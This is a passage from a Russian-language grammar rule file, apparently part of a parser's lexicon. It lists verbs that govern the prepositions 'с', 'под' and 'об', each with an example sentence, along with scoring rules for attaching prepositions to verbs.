Кирилл дернулся с места (ДЕРНУТЬСЯ С род) rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род) rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род) rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С) rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С) rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С) прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С) rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С) rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род) rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С) rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с) rus_verbs:спасть{}, // тяжесть спала с души. (спасть с) rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С) rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С) rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С) rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то) rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С) rus_verbs:приближаться{}, // со стороны острова приближалась лодка. rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С) rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с) rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с) rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С) rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С) rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С) rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С) rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С) rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С) rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.) rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С) rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С) rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С) rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С) rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с) rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С) rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с) rus_verbs:вставать{}, // Он не встает с кровати. (вставать с) rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с) rus_verbs:причитаться{}, // С вас причитается 50 рублей. rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки. rus_verbs:сократить{}, // Его сократили со службы. rus_verbs:поднять{}, // рука подняла с пола rus_verbs:поднимать{}, rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни. rus_verbs:полететь{}, // Мальчик полетел с лестницы. rus_verbs:литься{}, // вода льется с неба rus_verbs:натечь{}, // натечь с сапог rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая rus_verbs:съезжать{}, // съезжать с заявленной темы rus_verbs:покатываться{}, // покатываться со смеху rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:сдирать{}, // сдирать с тела кожу rus_verbs:соскальзывать{}, // соскальзывать с крючка rus_verbs:сметать{}, // сметать с прилавков rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки rus_verbs:прокаркать{}, // прокаркать с ветки rus_verbs:стряхивать{}, // стряхивать с одежды rus_verbs:сваливаться{}, // сваливаться с лестницы rus_verbs:слизнуть{}, // слизнуть с лица rus_verbs:доставляться{}, // доставляться с фермы rus_verbs:обступать{}, // обступать с двух сторон rus_verbs:повскакивать{}, // повскакивать с мест rus_verbs:обозревать{}, // обозревать с вершины rus_verbs:слинять{}, // слинять с урока rus_verbs:смывать{}, // смывать с лица rus_verbs:спихнуть{}, // спихнуть со стола rus_verbs:обозреть{}, // обозреть с вершины rus_verbs:накупить{}, // накупить с рук rus_verbs:схлынуть{}, // схлынуть с берега rus_verbs:спикировать{}, // спикировать с километровой высоты rus_verbs:уползти{}, // уползти с поля боя rus_verbs:сбиваться{}, // сбиваться с пути rus_verbs:отлучиться{}, // отлучиться с поста rus_verbs:сигануть{}, // сигануть с крыши rus_verbs:сместить{}, // сместить с поста rus_verbs:списать{}, // списать с оригинального устройства инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы деепричастие:слетая{}, rus_verbs:напиваться{}, // напиваться с горя rus_verbs:свесить{}, // свесить с крыши rus_verbs:заполучить{}, // заполучить со склада rus_verbs:спадать{}, // спадать с глаз rus_verbs:стартовать{}, // стартовать с мыса rus_verbs:спереть{}, // спереть со склада rus_verbs:согнать{}, // согнать с живота rus_verbs:скатываться{}, // скатываться со стога rus_verbs:сняться{}, // сняться с выборов rus_verbs:слезать{}, // слезать со стола rus_verbs:деваться{}, // деваться с подводной лодки rus_verbs:огласить{}, // огласить с трибуны rus_verbs:красть{}, // красть со склада rus_verbs:расширить{}, // расширить с торца rus_verbs:угадывать{}, // угадывать с полуслова rus_verbs:оскорбить{}, // оскорбить со сцены rus_verbs:срывать{}, // срывать с головы rus_verbs:сшибить{}, // сшибить с коня rus_verbs:сбивать{}, // сбивать с одежды rus_verbs:содрать{}, // содрать с посетителей rus_verbs:столкнуть{}, // столкнуть с горы rus_verbs:отряхнуть{}, // отряхнуть с одежды rus_verbs:сбрасывать{}, // сбрасывать с борта rus_verbs:расстреливать{}, // расстреливать с борта вертолета rus_verbs:придти{}, // мать скоро придет с работы rus_verbs:съехать{}, // Миша съехал с горки rus_verbs:свисать{}, // свисать с веток rus_verbs:стянуть{}, // стянуть с кровати rus_verbs:скинуть{}, // скинуть снег с плеча rus_verbs:загреметь{}, // загреметь со стула rus_verbs:сыпаться{}, // сыпаться с неба rus_verbs:стряхнуть{}, // стряхнуть с головы rus_verbs:сползти{}, // сползти со стула rus_verbs:стереть{}, // стереть с экрана rus_verbs:прогнать{}, // прогнать с фермы rus_verbs:смахнуть{}, // смахнуть со стола rus_verbs:спускать{}, // спускать с поводка rus_verbs:деться{}, // деться с подводной лодки rus_verbs:сдернуть{}, // сдернуть с себя rus_verbs:сдвинуться{}, // сдвинуться с места rus_verbs:слететь{}, // слететь с катушек rus_verbs:обступить{}, // обступить со всех сторон rus_verbs:снести{}, // снести с плеч инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков деепричастие:сбегая{}, прилагательное:сбегающий{}, // прилагательное:сбегавший{ вид:несоверш }, rus_verbs:запить{}, // запить с горя rus_verbs:рубануть{}, // рубануть с плеча rus_verbs:чертыхнуться{}, // чертыхнуться с досады rus_verbs:срываться{}, // срываться с цепи rus_verbs:смыться{}, // смыться с уроков rus_verbs:похитить{}, // похитить со склада rus_verbs:смести{}, // смести со своего пути rus_verbs:отгружать{}, // отгружать со склада rus_verbs:отгрузить{}, // отгрузить со склада rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя rus_verbs:взиматься{}, // Плата взимается с любого посетителя rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков rus_verbs:вспархивать{}, // вспархивать с цветка rus_verbs:вспорхнуть{}, // вспорхнуть с ветки rus_verbs:выбросить{}, // выбросить что-то с балкона rus_verbs:выводить{}, // выводить с одежды пятна rus_verbs:снять{}, // снять с головы rus_verbs:начинать{}, // начинать с эскиза rus_verbs:двинуться{}, // двинуться с места rus_verbs:начинаться{}, // начинаться с гардероба rus_verbs:стечь{}, // стечь с крыши rus_verbs:слезть{}, // слезть с кучи rus_verbs:спуститься{}, // спуститься с крыши rus_verbs:сойти{}, // сойти с пьедестала rus_verbs:свернуть{}, // свернуть с пути rus_verbs:сорвать{}, // сорвать с цепи rus_verbs:сорваться{}, // сорваться с поводка rus_verbs:тронуться{}, // тронуться с места rus_verbs:угадать{}, // угадать с первой попытки rus_verbs:спустить{}, // спустить с лестницы rus_verbs:соскочить{}, // соскочить с крючка rus_verbs:сдвинуть{}, // сдвинуть с места rus_verbs:подниматься{}, // туман, поднимающийся с болота rus_verbs:подняться{}, // туман, поднявшийся с болота rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног. rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног. rus_verbs:донестись{}, // С улицы донесся шум дождя. rus_verbs:опасть{}, // Опавшие с дерева листья. rus_verbs:махнуть{}, // Он махнул с берега в воду. rus_verbs:исчезнуть{}, // исчезнуть с экрана rus_verbs:свалиться{}, // свалиться со сцены rus_verbs:упасть{}, // упасть с дерева rus_verbs:вернуться{}, // Он ещё не вернулся с работы. rus_verbs:сдувать{}, // сдувать пух с одуванчиков rus_verbs:свергать{}, // свергать царя с трона rus_verbs:сбиться{}, // сбиться с пути rus_verbs:стирать{}, // стирать тряпкой надпись с доски rus_verbs:убирать{}, // убирать мусор c пола rus_verbs:удалять{}, // удалять игрока с поля rus_verbs:окружить{}, // Япония окружена со всех сторон морями. rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение. глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы. прилагательное:спокойный{}, // С этой стороны я спокоен. rus_verbs:спросить{}, // С тебя за всё спросят. rus_verbs:течь{}, // С него течёт пот. rus_verbs:дуть{}, // С моря дует ветер. rus_verbs:капать{}, // С его лица капали крупные капли пота. rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол. rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня. rus_verbs:встать{}, // Все встали со стульев. rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто. rus_verbs:взять{}, // Возьми книгу с полки. rus_verbs:спускаться{}, // Мы спускались с горы. rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы. rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок. rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы. rus_verbs:двигаться{}, // Он не двигался с места. rus_verbs:отходить{}, // мой поезд отходит с первого пути rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции rus_verbs:падать{}, // снег падает с ветвей rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия. } fact гл_предл { if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:род} } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:парт} } then return true } #endregion РОДИТЕЛЬНЫЙ fact гл_предл { if context { * предлог:с{} *:*{ падеж:твор } } then return false,-3 } fact гл_предл { if context { * предлог:с{} *:*{ падеж:род } } then return false,-4 } fact гл_предл { if context { * предлог:с{} * } then return false,-5 } #endregion Предлог_С /* #region Предлог_ПОД // -------------- ПРЕДЛОГ 'ПОД' ----------------------- fact гл_предл { if context { * предлог:под{} @regex("[a-z]+[0-9]*") } then return true } // ПОД+вин.п. не может присоединяться к существительным, поэтому // он присоединяется к любым глаголам. fact гл_предл { if context { * предлог:под{} *:*{ падеж:вин } } then return true } wordentry_set Гл_ПОД_твор= { rus_verbs:извиваться{}, // извивалась под его длинными усами rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ) rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ) rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ) rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ) rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ) rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ) rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть) rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ) rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ) rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ) rus_verbs:ПРОПОЛЗТИ{}, // rus_verbs:ПРОПОЛЗАТЬ{}, // rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ) rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ) rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ) rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ) rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ) rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом rus_verbs:иметься{}, // у каждого под рукой имелся арбалет rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ) rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ) rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ) rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ) rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ) rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ) rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ) rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ) rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ) rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ) rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ) rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ) rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ) rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор) rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ) rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ) rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ) rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ) rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ) rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ) rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ) rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ) rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ) rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ) rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ) rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ) rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ) rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ) rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ) rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ) rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ) rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ) rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ) rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ) rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ) rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД) rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ) rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД) rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ) rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ) rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ) rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ) rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ) rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ) rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ) rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ) rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ) rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ) rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ) rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ) rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ) rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ) rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ) rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ) rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ) rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ) rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ) rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ) rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ) rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ) rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ) rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ) rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ) rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ) rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ) rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ) rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ) rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ) rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД) rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД) rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД) rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД) rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД) rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД) rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД) rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД) rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор) rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД) rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД) rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД) rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД) rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД) rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД) rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД) rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД) rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД) rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД) rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД) rus_verbs:уснуть{}, // Миша уснет под одеялом rus_verbs:пошевелиться{}, // пошевелиться под одеялом rus_verbs:задохнуться{}, // задохнуться под слоем снега rus_verbs:потечь{}, // потечь под избыточным давлением rus_verbs:уцелеть{}, // уцелеть под завалами rus_verbs:мерцать{}, // мерцать под лучами софитов rus_verbs:поискать{}, // поискать под кроватью rus_verbs:гудеть{}, // гудеть под нагрузкой rus_verbs:посидеть{}, // посидеть под навесом rus_verbs:укрыться{}, // укрыться под навесом rus_verbs:утихнуть{}, // утихнуть под одеялом rus_verbs:заскрипеть{}, // заскрипеть под тяжестью rus_verbs:шелохнуться{}, // шелохнуться под одеялом инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш }, инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш }, деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш }, rus_verbs:пониматься{}, // пониматься под успехом rus_verbs:подразумеваться{}, // подразумеваться под правильным решением rus_verbs:промокнуть{}, // промокнуть под проливным дождем rus_verbs:засосать{}, // засосать под ложечкой rus_verbs:подписаться{}, // подписаться под воззванием rus_verbs:укрываться{}, // укрываться под навесом rus_verbs:запыхтеть{}, // запыхтеть под одеялом rus_verbs:мокнуть{}, // мокнуть под лождем rus_verbs:сгибаться{}, // сгибаться под тяжестью снега rus_verbs:намокнуть{}, // намокнуть под дождем rus_verbs:подписываться{}, // подписываться под обращением rus_verbs:тарахтеть{}, // тарахтеть под окнами инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача. деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{}, rus_verbs:лежать{}, // лежать под капельницей rus_verbs:вымокать{}, // вымокать под дождём rus_verbs:вымокнуть{}, // вымокнуть под дождём rus_verbs:проворчать{}, // проворчать под нос rus_verbs:хмыкнуть{}, // хмыкнуть под нос rus_verbs:отыскать{}, // отыскать под кроватью rus_verbs:дрогнуть{}, // дрогнуть под ударами rus_verbs:проявляться{}, // проявляться под нагрузкой rus_verbs:сдержать{}, // сдержать под контролем rus_verbs:ложиться{}, // ложиться под клиента rus_verbs:таять{}, // таять под весенним солнцем rus_verbs:покатиться{}, // покатиться под откос rus_verbs:лечь{}, // он лег под навесом rus_verbs:идти{}, // идти под дождем прилагательное:известный{}, // Он известен под этим именем. rus_verbs:стоять{}, // Ящик стоит под столом. rus_verbs:отступить{}, // Враг отступил под ударами наших войск. rus_verbs:царапаться{}, // Мышь царапается под полом. rus_verbs:спать{}, // заяц спокойно спал у себя под кустом rus_verbs:загорать{}, // мы загораем под солнцем ГЛ_ИНФ(мыть), // мыть руки под струёй воды ГЛ_ИНФ(закопать), ГЛ_ИНФ(спрятать), ГЛ_ИНФ(прятать), ГЛ_ИНФ(перепрятать) } fact гл_предл { if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } } then return true } // для глаголов вне списка - запрещаем. fact гл_предл { if context { * предлог:под{} *:*{ падеж:твор } } then return false,-10 } fact гл_предл { if context { * предлог:под{} *:*{} } then return false,-11 } #endregion Предлог_ПОД */ #region Предлог_ОБ // -------------- ПРЕДЛОГ 'ОБ' ----------------------- wordentry_set Гл_ОБ_предл= { rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ) rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ) rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ) rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом? rus_verbs:забывать{}, // Мы не можем забывать об их участи. rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ) rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ) rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ) rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ) rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ) rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ) rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ) rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ) rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ) rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ) rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об) rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об) rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ) rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ) rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ) rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе. rus_verbs:кричать{}, // Все газеты кричат об этом событии. rus_verbs:советоваться{}, // Она обо всём советуется с матерью. rus_verbs:говориться{}, // об остальном говорилось легко. rus_verbs:подумать{}, // нужно крепко обо всем подумать. rus_verbs:напомнить{}, // черный дым напомнил об опасности. rus_verbs:забыть{}, // забудь об этой роскоши. rus_verbs:думать{}, // приходится обо всем думать самой. rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:информировать{}, // информировать об изменениях rus_verbs:оповестить{}, // оповестить об отказе 